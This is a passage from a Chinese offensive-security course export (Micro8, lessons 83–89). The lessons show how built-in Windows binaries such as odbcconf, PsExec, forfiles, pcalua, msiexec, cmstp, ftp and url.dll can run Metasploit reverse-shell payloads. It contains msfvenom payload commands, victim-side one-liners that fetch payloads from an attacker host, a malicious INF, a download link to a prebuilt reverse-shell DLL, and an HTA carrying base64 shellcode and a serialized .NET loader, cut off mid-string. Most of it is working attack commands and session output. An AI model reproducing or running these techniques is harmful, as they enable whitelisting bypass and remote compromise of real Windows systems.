‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行:Windows 2003 注:文中为了更好的跨Windows 03--Windows 2016,Odbcconf for dll采纯C重新编写。 C:\\Windows\\SysWOW64\\odbcconf.exe /a {regsvr C:\\Micropoor_Odbcconf.dll} 注:x64 Odbcconf.exe 附: Micropoor_Odbcconf.dll,已测Windows 2003 x64 Windows 7 x64 注: 功能:reverse_tcp IP:192.168.1.4 PORT:53。如有安全软件拦截,因Micropoor加入特征。 大小: 73216 字节 修改时间: 2019年1月19日, 21:29:11 MD5: B31B971F01DE32EC5EC45746BF3DDAD2 SHA1: CF42E4BF5A613992B7A563A522BBEBF1D0F06CCE CRC32: 28A1CE90 https://drive.google.com/open?id=1j12W7VOhv_-NdnZpFhWLwdt8sQwxdAsk Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/81-90/83_基于白名单PsExec执行payload第十三季.html":{"url":"Chapter1/81-90/83_基于白名单PsExec执行payload第十三季.html","title":"第八十三课:基于白名单PsExec执行payload第十三季 ","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 PsExec简介: 微软于2006年7月收购sysinternals公司,PsExec是SysinternalsSuite的小工具之一,是一种轻量级的telnet替代品,允许在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件,并且可以获得与控制台应用程序相当的完全交互性。 微软官方文档:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec 说明:PsExec.exe没有默认安装在windows系统。 攻击机: 192.168.1.4 Debian靶机: 192.168.1.119 Windows 2003 配置攻击机msf: msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行: PsExec.exe -d -s msiexec.exe /q /i msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.119 [*] Meterpreter session 11 opened (192.168.1.4:53 ‐> 192.168.1.119:131) at 2019‐01‐20 05:43:32 ‐0500 meterpreter > getuid Server username: NT AUTHORITY\\SYSTEM meterpreter > getpid Current pid: 728 meterpreter > Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/81-90/84_基于白名单Forfiles执行payload第十四季.html":{"url":"Chapter1/81-90/84_基于白名单Forfiles执行payload第十四季.html","title":"第八十四课:基于白名单Forfiles执行payload第十四季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Forfiles简介: Forfiles为Windows默认安装的文件操作搜索工具之一,可根据日期,后缀名,修改日期为条件。常与批处理配合使用。 微软官方文档:https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11) 说明:Forfiles.exe所在路径已被系统添加PATH环境变量中,因此,Forfiles命令可识别,需注意x86,x64位的Forfiles调用。 Windows 2003 默认位置: C:\\WINDOWS\\system32\\forfiles.exe C:\\WINDOWS\\SysWOW64\\forfiles.exe Windows 7 默认位置: C:\\WINDOWS\\system32\\forfiles.exe C:\\WINDOWS\\SysWOW64\\forfiles.exe 攻击机: 192.168.1.4 Debian靶机: 192.168.1.119 Windows 2003 配置攻击机msf: msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行:Windows 2003 forfiles /p c:\\windows\\system32 /m cmd.exe /c \"msiexec.exe /q /i http://192.168.1.4/Micropoor_rev_x86_msi_53.txt\" msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.119 [*] Meterpreter session 15 opened (192.168.1.4:53 ‐> 192.168.1.119:133 1) at 2019‐01‐20 06:34:08 ‐0500 meterpreter > getuid Server username: WIN03X64\\Administrator meterpreter > getpid Current pid: 392 meterpreter > Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/81-90/85_基于白名单Pcalua执行payload第十五季.html":{"url":"Chapter1/81-90/85_基于白名单Pcalua执行payload第十五季.html","title":"第八十五课:基于白名单Pcalua执行payload第十五季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Pcalua简介: Windows进程兼容性助理(Program Compatibility Assistant)的一个组件。 说明:Pcalua.exe所在路径已被系统添加PATH环境变量中,因此,Pcalua命令可识别 Windows 7 默认位置: C:\\Windows\\System32\\pcalua.exe 攻击机: 192.168.1.4 Debian靶机: 192.168.1.5 Windows 7 配置攻击机msf: msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行: Pcalua -m -a \\\\192.168.1.119\\share\\rev_x86_53_exe.exe msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.5 [*] Meterpreter session 23 opened (192.168.1.4:53 ‐> 192.168.1.5:11349) at 2019‐01‐20 09:25:01 ‐0500 meterpreter > getuid Server username: John‐PC\\John meterpreter > getpid Current pid: 11236 meterpreter > Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/81-90/86_基于白名单Msiexec执行payload第八季补充.html":{"url":"Chapter1/81-90/86_基于白名单Msiexec执行payload第八季补充.html","title":"第八十六课:基于白名单Msiexec执行payload第八季补充","keywords":"","body":"注:请多喝点热水或者凉白开,身体特别重要。 本季补充本地DLL加载Msiexec简介: Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包(MSI),一般在运行Microsoft Update安装更新或安装部分软件的时候出现,占用内存比较大。并且集成于Windows 2003,Windows 7等。 说明:Msiexec.exe所在路径已被系统添加PATH环境变量中,因此,Msiexec命令可识别。 基于白名单Msiexec.exe配置payload: 注:x64 payload msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐ f dll > Micropoor_rev_x64_53.dll 配置攻击机msf: 注:x64 payload msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行: msiexec /y C:\\Users\\John\\Desktop\\Micropoor_rev_x64_dll.dll msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (206403 bytes) to 192.168.1.5 [*] Meterpreter session 26 opened (192.168.1.4:53 ‐> 192.168.1.5:11543) at 2019‐01‐20 09:45:51 ‐0500 meterpreter > getuid Server username: John‐PC\\John meterpreter > getpid Current pid: 7672 meterpreter > Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/81-90/87_基于白名单Cmstp.exe执行payload第十六季.html":{"url":"Chapter1/81-90/87_基于白名单Cmstp.exe执行payload第十六季.html","title":"第八十七课:基于白名单Cmstp.exe执行payload第十六季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Cmstp简介: Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则 cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。 微软官方文档:https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp 说明:Cmstp.exe所在路径已被系统添加PATH环境变量中,因此,Cmstp命令可识别,需注意x86,x64位的Cmstp调用。 Windows 2003 默认位置: C:\\Windows\\System32\\cmstp.exe C:\\Windows\\SysWOW64\\cmstp.exe Windows 7 默认位置: C:\\Windows\\System32\\cmstp.exe C:\\Windows\\SysWOW64\\cmstp.exe 攻击机: 192.168.1.4 Debian靶机: 192.168.1.119 Windows 7 配置攻击机msf: 注:x64 payload msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target emsf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行: cmstp.exe /ni /s C:\\Users\\John\\Desktop\\rev.inf 注:x64 payload msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (206403 bytes) to 192.168.1.5 [*] Meterpreter session 9 opened (192.168.1.4:53 ‐> 192.168.1.5:13220) at 2019‐01‐20 12:08:52 ‐0500 meterpreter > getuid Server username: John‐PC\\John meterpreter > getpid Current pid: 8632 meterpreter > 附录: Micropoor_rev_cmstp_inf: [version] Signature=$chicago$ AdvancedINF=2.5 [DefaultInstall_SingleUser] UnRegisterOCXs=UnRegisterOCXSection [UnRegisterOCXSection] %11%\\scrobj.dll,NI,http://192.168.1.4/cmstp_rev_53_x64.sct [Strings] AppAct = \"SOFTWARE\\Microsoft\\Connection Manager\" ServiceName=\"Micropoor\" ShortSvcName=\"Micropoor\" cmstp_rev_53_x64.sct Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/81-90/88_基于白名单Ftp.exe执行payload第十九季.html":{"url":"Chapter1/81-90/88_基于白名单Ftp.exe执行payload第十九季.html","title":"第八十八课:基于白名单Ftp.exe执行payload第十九季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Ftp.exe简介: Ftp.exe是Windows本身自带的一个程序,属于微软FTP工具,提供基本的FTP访问。 说明:Ftp.exe所在路径已被系统添加PATH环境变量中,因此,Ftp.exe命令可识别。 Windows 2003 默认位置: C:\\Windows\\System32\\ftp.exe C:\\Windows\\SysWOW64\\ftp.exe Windows 7 默认位置: C:\\Windows\\System32\\ftp.exe C:\\Windows\\SysWOW64\\ftp.exe 攻击机: 192.168.1.4 Debian靶机: 192.168.1.3 Windows 7 配置攻击机msf: 注:需设置参数 set AutoRunScript migrate -f msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > set AutoRunScript migrate ‐f AutoRunScript => migrate ‐f msf exploit(multi/handler) > exploit 靶机执行: echo !C:\\Users\\John\\Desktop\\rev_x86_53_exe.exe > o &echo quit >> o &ftp ‐n ‐s:o &del /F /Q o msf exploit(multi/handler) > set AutoRunScript migrate ‐f AutoRunScript => migrate ‐f msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.3 [*] Meterpreter session 10 opened (192.168.1.4:53 ‐> 192.168.1.3:5530) at 2019‐01‐21 05:14:57 ‐0500 [*] Session ID 10 (192.168.1.4:53 ‐> 192.168.1.3:5530) processing AutoRunScript 'migrate ‐f' [!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate. [!] Example: run post/windows/manage/migrate OPTION=value [...] [*] Current server process: rev_x86_53_exe.exe (8832) [*] Spawning notepad.exe process to migrate to [+] Migrating to 8788 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Chapter1/81-90/89_基于白名单Url.dll执行payload第十七季.html":{"url":"Chapter1/81-90/89_基于白名单Url.dll执行payload第十七季.html","title":"第八十九课:基于白名单Url.dll执行payload第十七季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 Url.dll简介: url.dll是Internet快捷壳扩展相关应用程序接口系统文件。 说明:url.dll所在路径已被系统添加PATH环境变量中,因此,url.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。 Windows 2003 默认位置: C:\\Windows\\System32\\url.dll C:\\Windows\\SysWOW64\\url.dll Windows 7 默认位置: C:\\Windows\\System32\\url.dll C:\\Windows\\SysWOW64\\url.dll 攻击机: 192.168.1.4 Debian靶机: 192.168.1.3 Windows 7 配置攻击机msf: msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行: rundll32.exe url.dll,FileProtocolHandler file://C:\\Users\\John\\Desktop\\Micropoor_url_dll.hta msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.3 [*] Meterpreter session 5 opened (192.168.1.4:53 ‐> 192.168.1.3:5018) at 2019‐01‐21 04:41:43 ‐0500 meterpreter > getuid Server username: John‐PC\\John meterpreter > getpid Current pid: 8584 同样可以调用url.dll下载payload: rundll32.exe url.dll,OpenURL http://192.168.1.4/Micropoor_url_dll.hta 附录:Micropoor_url_dll.hta ```visual basic Dim binary : binary = \"rundll32.exe\" Dim code : code = \"/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMH PDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7 fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfV GhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmjAqAEEaAIAADWJ5lBQUFBAUEBQaOoP3+D/1Z dqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmo AaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8M JA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=\" Sub Debug(s) End Sub Sub SetVersion End Sub Function Base64ToStream(b) Dim enc, length, ba, transform, ms Set enc = CreateObject(\"System.Text.ASCIIEncoding\") length = enc.GetByteCount_2(b) Set transform = CreateObject(\"System.Security.Cryptography.FromBase64Transform\") Set ms = CreateObject(\"System.IO.MemoryStream\") ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3) ms.Position = 0 Set Base64ToStream = ms End Function Sub Run Dim s, entry_class s = \"AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy\" s = s & \"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph\" s = s & \"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk\" s = s & \"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD\" s = s & \"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl\" s = s & \"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU\" s = s & \"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl\" s = s & \"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90\" s = s & \"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu\" s = s & \"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH\" s = s & \"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA\" s = s & \"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw\" s = s & \"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu\" s = s & \"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA\" s = s & \"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u\" s = s & \"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5\" s = s & \"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR\" s = s & \"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA\" s = s & \"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y\" s = s & \"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh\" s = s & \"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz\" s = s & \"ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy\" s = s & \"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAAAA\" s = s & \"AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA\" s = s & \"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAIDUA\" s = s & \"AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA\" s = s & \"AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA\" s = s & \"AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA\" s = s & \"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT\" s = s & \"MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA\" s = s & \"Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME\" s = s & \"EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK\" s = s & \"ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK\" s = s & \"EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA\" s = s & \"BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC\" s = s & \"fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP\" s = s & \"AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj\" s = s & \"fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB\" s = s & \"AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA\" s = s & \"ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF\" s = s & \"kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG\" s = s & \"AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I\" s = s & \"qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK\" s = s & \"ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAAIB\" s = s & \"AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPwAG\" s = s & \"AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgPEB\" s = s & \"AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAwFW\" s = s & \"gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgDoD\" s = s & \"AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPwAG\" s = s & \"ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I\" s = s & \"+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADgFW\" s = s & \"gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA\" s = s & \"EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgACW\" s = s & \"IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJEg\" s = s & \"1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhhg+\" s = s & \"BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAAkA\" s = s & \"BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA\" s = s & \"AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA\" s = s & \"CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB\" s = s & \"AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG\" s = s & \"KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ\" s = s & 